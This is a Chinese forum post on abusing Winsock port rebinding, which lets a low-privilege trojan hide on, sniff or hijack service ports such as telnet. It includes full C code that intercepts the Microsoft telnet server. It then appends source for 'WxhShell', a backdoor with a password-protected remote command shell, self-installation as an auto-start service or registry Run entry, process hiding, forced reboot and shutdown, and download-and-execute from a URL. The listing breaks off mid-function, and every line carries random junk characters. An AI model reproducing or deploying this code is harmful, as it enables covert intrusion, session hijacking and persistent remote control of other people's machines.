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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  uHRsFlw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /Z}}(6T  
-"9  
  saddr.sin_family = AF_INET; ;*2Cm'8E  
}4X0epPp;:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]7c=PC  
rEz^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :NTO03F7v  
`N8O"UcoBo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #}5uno  
FW DNpr  
  这意味着什么?意味着可以进行如下的攻击: }"%N4(Kd  
* kh tJ]=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6j|{`Zd)G  
)%fH(ns(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (S Yln>o  
gbD KE{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2y1Sne=<Kb  
HTTC TR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lPAQ3t!,  
SSzIih@u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E2+`4g@{8<  
%mgE;~"&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q22 GIr  
Y8t8!{ytg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j<e2d7oN  
8zq=N#x  
  #include [{/jI\?v  
  #include #,'kXj  
  #include lH~[f  
  #include    *lJxH8\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J] r^W)O  
  int main() m.0*NW  
  { u:  
  WORD wVersionRequested; |k00Z+O(  
  DWORD ret; z\4.Gm-  
  WSADATA wsaData; ;q>ah!"k  
  BOOL val; o^wqFX(Y  
  SOCKADDR_IN saddr; X2"/%!65{  
  SOCKADDR_IN scaddr; >/6 _ ^  
  int err; {id4:^u&;  
  SOCKET s; u)Whr@m  
  SOCKET sc; 8H`[*|{'  
  int caddsize; ]hV*r@d  
  HANDLE mt; <%mRSv  
  DWORD tid;   9;If&uM  
  wVersionRequested = MAKEWORD( 2, 2 ); uhq8   
  err = WSAStartup( wVersionRequested, &wsaData ); ,<X9Y2B  
  if ( err != 0 ) { RPbZ(.  
  printf("error!WSAStartup failed!\n"); +aAc9'k   
  return -1; I5W~g.<6  
  } ;5AcFB  
  saddr.sin_family = AF_INET; xD=csJ'(  
   ?Z}&EH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EKN~H$.  
\z)%$#I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JK] PRDyD  
  saddr.sin_port = htons(23); %@Jsal'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MnHNjsO#  
  { ue>D 7\8  
  printf("error!socket failed!\n"); /g.U&oI]D  
  return -1; ksm~<;td  
  } ,`sv1xwd  
  val = TRUE; I( Mm?9F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K@%].:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z{r}~{{E  
  { HK% 7g  
  printf("error!setsockopt failed!\n"); Pc]HP  
  return -1; ^=*;X;7  
  } ]I6  J7A[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4mbBmQV$#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A":T1s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @PIp* [7oC  
8xMX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vw@S>G lGg  
  { Ni7nq8B<  
  ret=GetLastError(); -I%5$`z  
  printf("error!bind failed!\n"); rS Ni@;   
  return -1; c[s4EUG  
  } (w zQ2Dk  
  listen(s,2); ?r!o~|9|  
  while(1) [<TrS/,)>  
  { "EJ~QCW*Yh  
  caddsize = sizeof(scaddr); -ze J#B)C  
  //接受连接请求 x|29L7i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CU~PT.  
  if(sc!=INVALID_SOCKET) M UwMb!Z.s  
  { onV>.7sG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iJ|uvPCE  
  if(mt==NULL) Y|/ 8up  
  { VS|2|n1<6  
  printf("Thread Creat Failed!\n"); YHl;flv  
  break; J,6yYIq  
  } VG~Vs@c(  
  } :MDKC /mC  
  CloseHandle(mt); @KUWxFak  
  } =WJ NWt>  
  closesocket(s); `QY)!$mUIF  
  WSACleanup(); ;GD]dW#  
  return 0; 8JUwf  
  }   4`=m u}Y2  
  DWORD WINAPI ClientThread(LPVOID lpParam) |+"(L#wk  
  { +W+|%qM,\  
  SOCKET ss = (SOCKET)lpParam; {Hk}Kow  
  SOCKET sc; <\S:'g"(  
  unsigned char buf[4096]; W!(LF7_!  
  SOCKADDR_IN saddr; >KKMcTOYY  
  long num; !1b;F*H  
  DWORD val; )WFr</z5bA  
  DWORD ret; *gz{.)W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BD7N i^qI$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S`]k>' l  
  saddr.sin_family = AF_INET; a-J.B.A$Z/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AwF:Iu^3n  
  saddr.sin_port = htons(23); K~ EmD9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z5]>pJFq,  
  { l9H!au=  
  printf("error!socket failed!\n"); 7cMv/g^ h@  
  return -1; uXl3k:_n  
  } An/|+r\  
  val = 100; 3irl (;v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AkiDL=;w  
  { .5{ab\_af  
  ret = GetLastError(); =H]@n|$(  
  return -1; 2I{"XB  
  } pI<f) r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l}M!8:UzU  
  { o[D9I hs  
  ret = GetLastError(); Srd4))2/0  
  return -1; is@?VklnB  
  } 5Jnlz@P9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E&:,oG2M  
  { <ZR9GlIr  
  printf("error!socket connect failed!\n"); \z} Ic%Tp  
  closesocket(sc); +8ZF"{y  
  closesocket(ss); q- d:TMkc  
  return -1; Y`wSv NU  
  } 8*a&Jl  
  while(1) `~q<N  
  { "5$B>S(Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UJ6v(:z <  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eb$#A _m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~WV"SaA)*U  
  num = recv(ss,buf,4096,0); &PtJ$0%q  
  if(num>0) "@8li^  
  send(sc,buf,num,0); IMONgFBS  
  else if(num==0) kB%JNMF{A  
  break; y1L,0 ]  
  num = recv(sc,buf,4096,0); }\k"n{!"  
  if(num>0) A\5L 7  
  send(ss,buf,num,0); C$)onk  
  else if(num==0) l%i+cOD  
  break; x'R`. !g3  
  } Od)C&N=y  
  closesocket(ss); 9( wK@  
  closesocket(sc); Wo=jskBrQ  
  return 0 ; `Ryp% Bn  
  } <1M-Ro?5k  
;t`&n['N>  
U :_^#\p  
========================================================== \1Em`nvOX  
r" ,GC]  
下边附上一个代码,,WXhSHELL sCHJ&>m5-  
NQ2E  
========================================================== D. XvG_  
FzC'G57Kl  
#include "stdafx.h" GWip-wI  
KKf   
#include <stdio.h> P7/X|M z  
#include <string.h> FaJ&GOM,  
#include <windows.h> W `}Rf\g  
#include <winsock2.h> E-g_".agO  
#include <winsvc.h> `*KHS A  
#include <urlmon.h> jRV/A!4  
v|2T%y_ u  
#pragma comment (lib, "Ws2_32.lib") iAU@Yg`pt  
#pragma comment (lib, "urlmon.lib") =w0R$&b&  
>[*qf9$  
#define MAX_USER   100 // 最大客户端连接数 bA->{OPkT  
#define BUF_SOCK   200 // sock buffer GR32S=\  
#define KEY_BUFF   255 // 输入 buffer Yg1  X  
!g2+w$YVa  
#define REBOOT     0   // 重启 sD wqH.L  
#define SHUTDOWN   1   // 关机 lHX72s|V  
b;UJ 88  
#define DEF_PORT   5000 // 监听端口 cYt!n5w~W  
pz>>)c`  
#define REG_LEN     16   // 注册表键长度 N87B8rDl  
#define SVC_LEN     80   // NT服务名长度 ?FcAXA/J{  
cExS7~*  
// 从dll定义API *;*r 8[U}q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rw #$lP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J-hbh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &:) Wh[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 83q6Sv  
^y%T~dLkp'  
// wxhshell配置信息 V "h +L7T  
struct WSCFG { @;RXLq/8  
  int ws_port;         // 监听端口 u.Dz~$T  
  char ws_passstr[REG_LEN]; // 口令 CeC6hGR5  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~/P[J  
  char ws_regname[REG_LEN]; // 注册表键名 vRO _Q?  
  char ws_svcname[REG_LEN]; // 服务名 d>C$+v>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %bfQ$a:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <UQbt N-B\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C~iL3C b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dm<A ^u8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ySDH "|0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 04=c-~&q  
^ r,=vO  
}; y h9*z3  
9qG6Pb  
// default Wxhshell configuration Jg| XH L)  
struct WSCFG wscfg={DEF_PORT, em N*l]N  
    "xuhuanlingzhe", }9fTF:P  
    1, mL: sJf  
    "Wxhshell", !Q0w\j h  
    "Wxhshell", oM`0y@QCf  
            "WxhShell Service", &KRX[2  
    "Wrsky Windows CmdShell Service", Npy :!  
    "Please Input Your Password: ", ^.NU|NQi'  
  1, JcxThZP~  
  "http://www.wrsky.com/wxhshell.exe", #O dJ"1A|  
  "Wxhshell.exe" y_lU=(%Jd  
    }; r<^HmpUJ  
B_m8{44zM  
// 消息定义模块 >I&5j/&}+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @6T/Tdz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ikiypWq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >V}#[/n  
char *msg_ws_ext="\n\rExit."; V33T+P~j  
char *msg_ws_end="\n\rQuit."; FQ5U$x. [P  
char *msg_ws_boot="\n\rReboot..."; wDe& 1(T^  
char *msg_ws_poff="\n\rShutdown..."; A2jUmK.&  
char *msg_ws_down="\n\rSave to "; q5)O%l!  
fmDCPkj  
char *msg_ws_err="\n\rErr!"; PxDh7{  
char *msg_ws_ok="\n\rOK!"; ]3.;PWa:  
x+@rg];m  
char ExeFile[MAX_PATH]; N5b!.B x-w  
int nUser = 0; Ej8^Zg  
HANDLE handles[MAX_USER]; iqQD{SRt{  
int OsIsNt; v #j$;  
&FN.:_E  
SERVICE_STATUS       serviceStatus; ckE-",G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _>X+ZlpU:  
0^K">  
// 函数声明 eV?2LtT#5  
int Install(void); b2&0Hx  
int Uninstall(void); vnZC,J `  
int DownloadFile(char *sURL, SOCKET wsh); RdR p.pb8  
int Boot(int flag); I(BQ34q  
void HideProc(void); YGC L2Y  
int GetOsVer(void); GDiBl*D  
int Wxhshell(SOCKET wsl); p4 ^yVa  
void TalkWithClient(void *cs); n]o<S+z  
int CmdShell(SOCKET sock); %aVq+kC h  
int StartFromService(void); x-&@wMqkc  
int StartWxhshell(LPSTR lpCmdLine); |H+UOEiv,p  
8NAON5.!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PBTnIU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CN8Y\<Ar  
*mvlb (' &  
// 数据结构和表定义 t=W}SH  
SERVICE_TABLE_ENTRY DispatchTable[] = E92KP?i  
{ mb^~qeRQ  
{wscfg.ws_svcname, NTServiceMain}, |imM# wF  
{NULL, NULL} hy"\RW  
}; 0[?Xxk}s0  
?QdWrE_  
// 自我安装 aQ\$A`?  
int Install(void) 57  
{ [ ~c|mOk  
  char svExeFile[MAX_PATH]; a'yK~;+_9  
  HKEY key; SbrecZ  
  strcpy(svExeFile,ExeFile); dk4CpN  
x\G'kEd  
// 如果是win9x系统,修改注册表设为自启动 o9yJf#-En  
if(!OsIsNt) { dn$!&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w-L=LWL\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PmEsN&YP]  
  RegCloseKey(key); 3kp+<$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6) [H?Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XrGglBIV  
  RegCloseKey(key); V#gK$uv  
  return 0; gu.}M:u  
    } eiaFaYe\  
  } XW)lDiJl  
} o~y;j75{.*  
else { c2 C8g1n  
['tY4$L(  
// 如果是NT以上系统,安装为系统服务 4*cEag   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w;:*P  
if (schSCManager!=0) =ncVnW{  
{ #r~# I}U  
  SC_HANDLE schService = CreateService ( 2E\p  
  ( ShP^A"Do  
  schSCManager, u.m[u)HQ  
  wscfg.ws_svcname, Zaf:fsj>  
  wscfg.ws_svcdisp, jZkcBIK2  
  SERVICE_ALL_ACCESS, FxWSV|Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ? _9  
  SERVICE_AUTO_START, ,CcV/K  
  SERVICE_ERROR_NORMAL, >7T'OC  
  svExeFile, h_3E)jc  
  NULL, fW1CFRHH  
  NULL, ! Y~FLA_  
  NULL, K)|G0n*qS  
  NULL, U@)eTHv}6  
  NULL ,77d(bR<  
  ); CXx*_@}MU  
  if (schService!=0) A>;bHf@  
  { :g=qz~2Xk  
  CloseServiceHandle(schService); !6O(-S2A  
  CloseServiceHandle(schSCManager); .glA gt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t: ;Pj9  
  strcat(svExeFile,wscfg.ws_svcname); Y0dEH^I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x,@B(9No  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zbt.t] N  
  RegCloseKey(key); '9Xu p  
  return 0; $$;M^WV^?.  
    } s.QwSbw-g  
  } =M [bnq*\  
  CloseServiceHandle(schSCManager); lc1(t:"[  
} qUW! G&R  
} ;LPfXpR  
m{cGK`/\  
return 1; _Gi4A  
} oC: {aK6\  
G+"t/?/  
// 自我卸载 li'YDtMKCY  
int Uninstall(void) :B5Fdp3  
{ RVA (Q[ ;  
  HKEY key; Val|n*%  
6"5A%{ J  
if(!OsIsNt) { p\tm:QWD;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 03qQ'pq  
  RegDeleteValue(key,wscfg.ws_regname); r Iu$pZO  
  RegCloseKey(key); S\YTX%Xm}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gw3K+P  
  RegDeleteValue(key,wscfg.ws_regname); %G/ hD  
  RegCloseKey(key); /h H  
  return 0; lH x^D;m6  
  } Kp~VS<3  
} SpLzm A  
} ~IfJwBn-i  
else { n&;85IF1  
TA`1U;c{n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =_ ./~  
if (schSCManager!=0) (ybI\UI  
{ WwBOM~/`2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;!mzyb*  
  if (schService!=0) L:pYn_  
  { ]7F=u!/`<C  
  if(DeleteService(schService)!=0) { Ng2@z<>.  
  CloseServiceHandle(schService); %Ycy{`  
  CloseServiceHandle(schSCManager); qn<|-hA*  
  return 0; R'bTN|Cq  
  } +\c5]`  
  CloseServiceHandle(schService); ^T;*M_  
  } :bu/^mW[  
  CloseServiceHandle(schSCManager); V6&!9b  
} Yz/md1T$  
} +`7i 'ff  
U9:zVy  
return 1; ^& tZ  
} 9N%We|L,c  
n.`($yR_  
// 从指定url下载文件 h-#6av :  
int DownloadFile(char *sURL, SOCKET wsh) Ic"ybj`  
{ Pw7]r<Q  
  HRESULT hr; u<6<iD3y  
char seps[]= "/"; z0p*Z&  
char *token; X<`  
char *file; 6 Z6'}BDP  
char myURL[MAX_PATH]; [#<-ZC#T*  
char myFILE[MAX_PATH]; @fZ,.2ar  
|mdVdD~go  
strcpy(myURL,sURL); ( iBl   
  token=strtok(myURL,seps); _"Dv uR  
  while(token!=NULL) 7a =gH2]&  
  { L%*!`TN  
    file=token; av}k)ZT_  
  token=strtok(NULL,seps); L O_k@3  
  } SO|NaqWa  
[fya)}  
GetCurrentDirectory(MAX_PATH,myFILE); @Q ]=\N:  
strcat(myFILE, "\\"); yYIf5S`V]  
strcat(myFILE, file); L3u&/Tn2  
  send(wsh,myFILE,strlen(myFILE),0); "/*\1v9  
send(wsh,"...",3,0); N ,'GN[s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DkY4MH?  
  if(hr==S_OK) |"X*@s\'  
return 0; xaq-.IQAM$  
else t9kzw*U9  
return 1; ';w#w<yaI  
b,l$1{  
} W+aP}rZm:  
67JA=,EE  
// 系统电源模块 1b `1{%  
int Boot(int flag) ~drS} V  
{ <Dl*l{zba  
  HANDLE hToken; VuhGx:Xl  
  TOKEN_PRIVILEGES tkp; *KZYv=s,u  
M)J5;^["  
  if(OsIsNt) { 9-VNp;V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =1FRFZI!j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o lR?n(v  
    tkp.PrivilegeCount = 1; q 6:dy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uu10)/.LC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UAkT*'cB  
if(flag==REBOOT) { !=*g@mgF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sQ UM~HD\a  
  return 0; ="1Ind@w!  
} GfxZ'VIn  
else { fa jGZyd0:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :KSV4>X[%a  
  return 0; X:f UI4  
} h0*!;Z7  
  } u:6Ic)7'  
  else { v+W&9>  
if(flag==REBOOT) { )al]*[lY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -]N x,{  
  return 0; !_]Y~[  
} O@T9x$  
else { [N-Di"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e&|'I"  
  return 0; @ wGPqg  
} SB;&GHq"n  
} .9/ hHCp  
R$h<<v)%  
return 1; 7X`g,b!  
} 0#7>o^2  
n*R])=F@c  
// win9x进程隐藏模块 !P2ro~0/  
void HideProc(void) : Xda1S  
{ CmP9Q2  
gDQ^)1k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G)AqbY  
  if ( hKernel != NULL ) MD}w Y><C  
  { f&N gS+<K$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =J]&c?I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Q3T Tno ,  
    FreeLibrary(hKernel);  R~TTL  
  } bWjc'P6rx  
]g#:KAqz  
return; fbyd"(V 8r  
} a(m2n.0'>  
e[{0)y>=  
// 获取操作系统版本 uP`Z12&  
int GetOsVer(void) h/QXPdV  
{ qJf?o.Pv  
  OSVERSIONINFO winfo; po c`q5i+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q\9JgD)  
  GetVersionEx(&winfo); F#3Q_G^/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j"8ZM{aO  
  return 1; SpIv#?  
  else [$ubNk;!z  
  return 0; lB8-Z ow  
} :tc@2/>!O  
I {SjlN}d  
// 客户端句柄模块 Eh)fnqs_d}  
int Wxhshell(SOCKET wsl) o@_q]/Mh  
{ \ ,'m</o~,  
  SOCKET wsh; : p1u(hflS  
  struct sockaddr_in client; 7zl5yK N  
  DWORD myID; PF0_8,@U  
^Y?k0z  
  while(nUser<MAX_USER) #z'  
{ M :=J^0  
  int nSize=sizeof(client); :;v~%e{k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K6)Gc%:`  
  if(wsh==INVALID_SOCKET) return 1; 6lZ3tdyNo  
&Gc9VF]o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (fhb0i-  
if(handles[nUser]==0) 4V"E8rUL(  
  closesocket(wsh); 3 #n_?-  
else O"+ gQXe  
  nUser++; ,=uD^n:  
  } mn'A9er  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c rQ8q;:  
h! ,v/7=  
  return 0; ;gD})@  
} ]HbY  
av(6wht8  
// 关闭 socket 3RUy, s  
void CloseIt(SOCKET wsh)  > ^O7  
{ \Zb;'eDv  
closesocket(wsh); ImA @}:  
nUser--; pj8=wch  
ExitThread(0); iR HQ:Y!  
} b;L\EB  
44J]I\+  
// 客户端请求句柄 Mg+2. 8%  
void TalkWithClient(void *cs) M.JA.I@XC  
{ `T1  
g%aYDl  
  SOCKET wsh=(SOCKET)cs; W PC]%:L"  
  char pwd[SVC_LEN]; .zf~.R;>  
  char cmd[KEY_BUFF]; q#~ (/  
char chr[1]; xnjf  
int i,j; ]|#+zx|/D  
"BAK !N$9  
  while (nUser < MAX_USER) { xKbXt;l2  
SA:Zc^aV  
if(wscfg.ws_passstr) { D=TvYe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l#&8x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j<upRS,$  
  //ZeroMemory(pwd,KEY_BUFF); v6|RJt?  
      i=0; g%o(+d  
  while(i<SVC_LEN) { OU E (I3_  
}ZYd4h|g\z  
  // 设置超时 3s*mbk[J  
  fd_set FdRead; A]*}HZ ,  
  struct timeval TimeOut; fT|.@%"vc  
  FD_ZERO(&FdRead); )w em|:H  
  FD_SET(wsh,&FdRead); zE*li`@  
  TimeOut.tv_sec=8; =&6eM2>P  
  TimeOut.tv_usec=0; 1pVS&0W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .C%<P"=J4h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D#aDv0b  
b\f O8{k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ZaY!(R<  
  pwd=chr[0]; eNh39er  
  if(chr[0]==0xd || chr[0]==0xa) { EZgwF =lO  
  pwd=0; \eTwXe]Pv  
  break; F k7?xc  
  } " > ypIR<  
  i++; .Cv6kgB@c  
    } 8H[<X_/ke  
Y+pHd\$-4  
  // 如果是非法用户,关闭 socket TT%M' 5&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `6;?9NI  
} e v}S+!|U  
+SzU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RIR\']WN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x%=si[P  
q$L%36u~/  
while(1) { ?JbilK}a  
+D6YR$_<  
  ZeroMemory(cmd,KEY_BUFF); ';k5?^T  
j{ ]I]\=?  
      // 自动支持客户端 telnet标准   alJ)^OSIe  
  j=0; 2F;y;l%  
  while(j<KEY_BUFF) { E#34Wh2z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s3N'02G  
  cmd[j]=chr[0]; _{ue8kGt  
  if(chr[0]==0xa || chr[0]==0xd) { $??I/6  
  cmd[j]=0; d'> x(Yi  
  break; x8|J-8A(  
  } y~V(aih}D  
  j++; .xkM.g4{~  
    } %BODkc Zh  
PA*5Bk="q  
  // 下载文件 V;=cwy)I  
  if(strstr(cmd,"http://")) { 6y<EgYzdE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #vlgwA  
  if(DownloadFile(cmd,wsh)) lOp`m8_=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Y8B~@]P?  
  else $~)SCbL^5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (8OsGn  
  } *Pr )%  
  else { i6Gu@( 8Q  
*4 n)  
    switch(cmd[0]) { 7_t'( /yu  
  zQ PQ  
  // 帮助 E{(;@PzE  
  case '?': { xIn:ZKJ'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i.#:zU%o  
    break; I/N *gy?*  
  } ~TtiO#,t  
  // 安装 +ZV5o&V>  
  case 'i': { /9X7A;O  
    if(Install()) Hn:Crl y#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b.938#3,  
    else <UCl@5g&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dh\P4  
    break; =(^3}x  
    } l^ }c!  
  // 卸载 b,@/!ia  
  case 'r': { I-)4YQI  
    if(Uninstall()) An@t?#4gxi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ssL\g`xe  
    else xSu >  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F0# 'WfM#  
    break; *zLMpL_  
    } 5r0YA IJ  
  // 显示 wxhshell 所在路径 lhJ'bYI  
  case 'p': { 30{ gI0jk  
    char svExeFile[MAX_PATH]; p ll)Y  
    strcpy(svExeFile,"\n\r"); aq-~B~c`g  
      strcat(svExeFile,ExeFile); GvAb`c=  
        send(wsh,svExeFile,strlen(svExeFile),0); xz]~ jL@-]  
    break; a'T;x`b8U,  
    } dr"1s-D4IQ  
  // 重启 ~J]qP#C  
  case 'b': { qP ,EBE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '"Nr,vQo  
    if(Boot(REBOOT)) ~ri5zb20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); naNghGQ  
    else { EM_d8o)`B  
    closesocket(wsh); gM]:Ma  
    ExitThread(0); Y-9I3?ar  
    } c@Is2 9t*  
    break; (k P9hcV  
    } (m$Y<{)2  
  // 关机 +`15le`R  
  case 'd': { kxCSs7J/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a9Vi];  
    if(Boot(SHUTDOWN)) Y0> @vTUX  
